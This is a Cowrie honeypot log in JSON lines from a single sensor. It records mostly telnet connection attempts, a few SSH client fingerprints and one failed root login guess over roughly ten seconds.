{"eventid":"cowrie.session.connect","src_ip":"89.39.83.70","src_port":53970,"dst_ip":"159.203.135.109","dst_port":23,"session":"28d50bc617b0","protocol":"telnet","message":"New connection: 89.39.83.70:53970 (159.203.135.109:23) [session: 28d50bc617b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:26.021818Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":43320,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4f216bb1b3e","protocol":"telnet","message":"New connection: 62.171.133.168:43320 (159.203.135.109:23) [session: e4f216bb1b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:26.025755Z"}
{"eventid":"cowrie.session.closed","duration":31.166346788406372,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:26.161820Z","src_ip":"51.15.157.40","session":"0ff98996f3c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":51124,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ce6f621b1a9","protocol":"telnet","message":"New connection: 51.15.157.40:51124 (159.203.135.109:23) [session: 4ce6f621b1a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:26.292622Z"}
{"eventid":"cowrie.session.closed","duration":31.041443586349487,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:26.298009Z","src_ip":"157.15.20.138","session":"31c35a21fa3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.285669803619385,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:26.420811Z","src_ip":"51.15.157.40","session":"bb417eeafd00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89100408554077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:26.514397Z","src_ip":"51.15.157.40","session":"8b2e3557367c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.655592441558838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:26.597471Z","src_ip":"51.15.157.40","session":"eb377fdfb94a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":43328,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5af9ce0cd85","protocol":"telnet","message":"New connection: 62.171.133.168:43328 (159.203.135.109:23) [session: c5af9ce0cd85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:26.750415Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":36816,"dst_ip":"159.203.135.109","dst_port":23,"session":"8203866f6049","protocol":"telnet","message":"New connection: 157.15.20.138:36816 (159.203.135.109:23) [session: 8203866f6049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:26.883591Z"}
{"eventid":"cowrie.session.closed","duration":30.786710262298584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:27.022090Z","src_ip":"104.236.196.85","session":"0b83008f1747","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.829241275787354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:27.091798Z","src_ip":"62.171.133.168","session":"4b61d2a23517","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":43336,"dst_ip":"159.203.135.109","dst_port":23,"session":"93a96402f095","protocol":"telnet","message":"New connection: 62.171.133.168:43336 (159.203.135.109:23) [session: 93a96402f095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:27.139359Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":51038,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ccdaf3be5f9","protocol":"telnet","message":"New connection: 34.69.118.1:51038 (159.203.135.109:23) [session: 9ccdaf3be5f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:27.581165Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":43344,"dst_ip":"159.203.135.109","dst_port":23,"session":"3190cb5a2068","protocol":"telnet","message":"New connection: 62.171.133.168:43344 (159.203.135.109:23) [session: 3190cb5a2068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:27.656891Z"}
{"eventid":"cowrie.session.closed","duration":31.249027729034424,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:27.722893Z","src_ip":"51.15.157.40","session":"680450c0afdb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":49270,"dst_ip":"159.203.135.109","dst_port":23,"session":"99fe0d2ba3da","protocol":"telnet","message":"New connection: 51.15.157.40:49270 (159.203.135.109:23) [session: 99fe0d2ba3da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:28.681421Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":36818,"dst_ip":"159.203.135.109","dst_port":23,"session":"d154debc6d1e","protocol":"telnet","message":"New connection: 157.15.20.138:36818 (159.203.135.109:23) [session: d154debc6d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:28.830282Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":36834,"dst_ip":"159.203.135.109","dst_port":23,"session":"260723c9e2ed","protocol":"telnet","message":"New connection: 157.15.20.138:36834 (159.203.135.109:23) [session: 260723c9e2ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:28.966490Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":59744,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cda1a7ba0ba","protocol":"telnet","message":"New connection: 51.15.157.40:59744 (159.203.135.109:23) [session: 3cda1a7ba0ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:28.971580Z"}
{"eventid":"cowrie.session.closed","duration":30.69499921798706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:29.002100Z","src_ip":"62.171.133.168","session":"f4f2270dd015","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36746096611023,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:29.007758Z","src_ip":"157.15.20.138","session":"e48a40579a4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.841105461120605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:29.022247Z","src_ip":"89.39.83.70","session":"1793a7d42913","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.897821187973022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:29.255241Z","src_ip":"62.171.133.168","session":"39aa36126290","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32795548439026,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:29.469251Z","src_ip":"51.15.157.40","session":"1c76ca44f666","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":45990,"dst_ip":"159.203.135.109","dst_port":22,"session":"f101fa41f13a","protocol":"ssh","message":"New connection: 122.168.114.167:45990 (159.203.135.109:22) [session: f101fa41f13a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:29.976021Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":57020,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0862bb9fc61","protocol":"telnet","message":"New connection: 104.236.196.85:57020 (159.203.135.109:23) [session: e0862bb9fc61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:30.101099Z"}
{"eventid":"cowrie.session.closed","duration":31.11724305152893,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:30.256994Z","src_ip":"103.171.45.122","session":"ab3496bc32de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.329673528671265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:30.449159Z","src_ip":"62.171.133.168","session":"f78a2c3c1691","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.744476079940796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:30.515696Z","src_ip":"51.15.157.40","session":"dc6c23cd7272","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10381054878235,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:31.150151Z","src_ip":"157.15.20.138","session":"21dcdd1cf04a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":57032,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6f640b17233","protocol":"telnet","message":"New connection: 104.236.196.85:57032 (159.203.135.109:23) [session: b6f640b17233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:31.208880Z"}
{"eventid":"cowrie.session.closed","duration":31.198207139968872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:31.224385Z","src_ip":"103.171.45.122","session":"1afb4f6597d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03976583480835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:31.338360Z","src_ip":"51.15.157.40","session":"f466e556d914","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.481331825256348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:31.475702Z","src_ip":"51.15.157.40","session":"e73f3fb07f08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":57048,"dst_ip":"159.203.135.109","dst_port":23,"session":"24c919793d19","protocol":"telnet","message":"New connection: 104.236.196.85:57048 (159.203.135.109:23) [session: 24c919793d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:31.503716Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":57906,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cbc8bc49307","protocol":"ssh","message":"New connection: 221.139.88.149:57906 (10.17.0.5:22) [session: 4cbc8bc49307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:31.579624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:31.584375Z","src_ip":"221.139.88.149","session":"4cbc8bc49307","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.23740005493164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:31.654920Z","src_ip":"51.15.157.40","session":"1ff34cefee5f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:31.766427Z","src_ip":"221.139.88.149","session":"4cbc8bc49307","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":57062,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ee77467e0a2","protocol":"telnet","message":"New connection: 104.236.196.85:57062 (159.203.135.109:23) [session: 8ee77467e0a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:31.860298Z"}
{"eventid":"cowrie.session.closed","duration":30.5980703830719,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:32.067525Z","src_ip":"51.15.157.40","session":"5a7ec59f3dcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23401951789856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:32.168404Z","src_ip":"51.15.157.40","session":"4763fea3f9f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.188514947891235,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:32.220366Z","src_ip":"51.15.157.40","session":"e6f0625a2a02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.376450777053833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:32.266065Z","src_ip":"157.15.20.138","session":"e54a5016a3ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.39.83.70","src_port":33208,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed82553a5a48","protocol":"telnet","message":"New connection: 89.39.83.70:33208 (159.203.135.109:23) [session: ed82553a5a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:32.357574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:32.731183Z","src_ip":"122.168.114.167","session":"f101fa41f13a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:32.735802Z","src_ip":"122.168.114.167","session":"f101fa41f13a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456*","message":"login attempt [root/a123456*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:32.771853Z","src_ip":"221.139.88.149","session":"4cbc8bc49307","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":57066,"dst_ip":"159.203.135.109","dst_port":23,"session":"074b5b03d6af","protocol":"telnet","message":"New connection: 104.236.196.85:57066 (159.203.135.109:23) [session: 074b5b03d6af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:33.097239Z"}
{"eventid":"cowrie.session.closed","duration":30.36429262161255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:33.195822Z","src_ip":"51.15.157.40","session":"dfd3e49c97af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.577884197235107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:33.316824Z","src_ip":"51.15.157.40","session":"3b809f8757b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":36844,"dst_ip":"159.203.135.109","dst_port":23,"session":"609d133c43d6","protocol":"telnet","message":"New connection: 157.15.20.138:36844 (159.203.135.109:23) [session: 609d133c43d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:33.666195Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:33.969203Z","src_ip":"221.139.88.149","session":"4cbc8bc49307","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":49694,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed6b083cab2d","protocol":"telnet","message":"New connection: 103.171.45.122:49694 (159.203.135.109:23) [session: ed6b083cab2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:33.978081Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":57072,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7290c484cbe","protocol":"telnet","message":"New connection: 104.236.196.85:57072 (159.203.135.109:23) [session: f7290c484cbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:34.099615Z"}
{"eventid":"cowrie.session.closed","duration":31.263158559799194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:34.451842Z","src_ip":"34.69.118.1","session":"77c8c3a98edf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17911171913147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:34.502327Z","src_ip":"51.15.157.40","session":"a0fa3bb75c07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":36852,"dst_ip":"159.203.135.109","dst_port":23,"session":"7146a9d959e6","protocol":"telnet","message":"New connection: 157.15.20.138:36852 (159.203.135.109:23) [session: 7146a9d959e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:34.684034Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":47706,"dst_ip":"159.203.135.109","dst_port":23,"session":"fad9a8a733b4","protocol":"telnet","message":"New connection: 51.15.157.40:47706 (159.203.135.109:23) [session: fad9a8a733b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:34.992734Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":57086,"dst_ip":"159.203.135.109","dst_port":23,"session":"4246852b1ed6","protocol":"telnet","message":"New connection: 104.236.196.85:57086 (159.203.135.109:23) [session: 4246852b1ed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:35.092617Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":48044,"dst_ip":"159.203.135.109","dst_port":23,"session":"92ae5ceae551","protocol":"telnet","message":"New connection: 51.15.157.40:48044 (159.203.135.109:23) [session: 92ae5ceae551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:35.160375Z"}
{"eventid":"cowrie.session.closed","duration":30.481016635894775,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:35.248974Z","src_ip":"157.15.20.138","session":"efb3233c7a35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":48404,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4b9a8f098ff","protocol":"telnet","message":"New connection: 51.15.157.40:48404 (159.203.135.109:23) [session: d4b9a8f098ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:35.325527Z"}
{"eventid":"cowrie.session.closed","duration":30.639070987701416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:35.331695Z","src_ip":"51.15.157.40","session":"a6a9efb10d5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":46016,"dst_ip":"159.203.135.109","dst_port":23,"session":"118ed4af5638","protocol":"telnet","message":"New connection: 51.15.157.40:46016 (159.203.135.109:23) [session: 118ed4af5638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:35.411330Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":49700,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1c25832f365","protocol":"telnet","message":"New connection: 51.15.157.40:49700 (159.203.135.109:23) [session: d1c25832f365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:35.701416Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":54656,"dst_ip":"159.203.135.109","dst_port":23,"session":"99f967f4656d","protocol":"telnet","message":"New connection: 103.171.45.122:54656 (159.203.135.109:23) [session: 99f967f4656d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:35.740197Z"}
{"eventid":"cowrie.session.closed","duration":31.300207376480103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:35.803870Z","src_ip":"51.15.157.40","session":"31f9fe6e21c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.686078548431396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:35.932213Z","src_ip":"51.15.157.40","session":"65be26df6505","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.369163036346436,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:36.004865Z","src_ip":"51.15.157.40","session":"0622728975ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":54672,"dst_ip":"159.203.135.109","dst_port":23,"session":"70af22024a8d","protocol":"telnet","message":"New connection: 103.171.45.122:54672 (159.203.135.109:23) [session: 70af22024a8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:24:36.189198Z"}
